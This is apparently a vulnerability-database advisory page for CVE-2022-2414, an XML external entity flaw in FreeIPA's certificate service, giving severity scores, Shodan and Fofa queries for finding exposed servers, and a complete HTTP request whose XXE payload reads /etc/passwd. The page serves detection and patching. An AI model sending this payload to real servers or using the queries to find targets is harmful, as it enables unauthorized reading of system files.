🔙 목록으로 돌아가기

CVE-2022-2414: FreeIPA - XML Entity Injection

TitleFreeIPA - XML Entity Injection
AuthorDhiyaneshDk
SeverityHigh
ImpactAn attacker can exploit this vulnerability to gain unauthorized access to sensitive information stored on the server.
RemediationApply the latest security patches and updates provided by the vendor to fix the XML Entity Injection vulnerability in FreeIPA.
CVSS Score7.5
EPSS Score0.91576
CVE IDCVE-2022-2414
CWE IDCWE-611
Shodan Querytitle:"Identity Management" html:"FreeIPA"http.title:"identity management" html:"freeipa"
Fofa Querytitle="Identity Management"title="identity management"title="identity management" html:"freeipa"
Tags cve cve2022 dogtag freeipa xxe dogtagpki vkev vuln

🔍 Vulnerability Description

Access to external entities when parsing XML documents can lead to XML external entity (XXE) attacks. This flaw allows a remote attacker to potentially retrieve the content of arbitrary files by sending specially crafted HTTP requests.

🌐 HTTP Request

POST /ca/rest/certrequests HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.4
Connection: close
Content-Length: 192
Content-Type: application/xml
Accept-Encoding: gzip

<!--?xml version="1.0" ?-->

<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>

<CertEnrollmentRequest>

  <Attributes/>

  <ProfileID>&ent;</ProfileID>

</CertEnrollmentRequest>

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-2414.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-2414.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A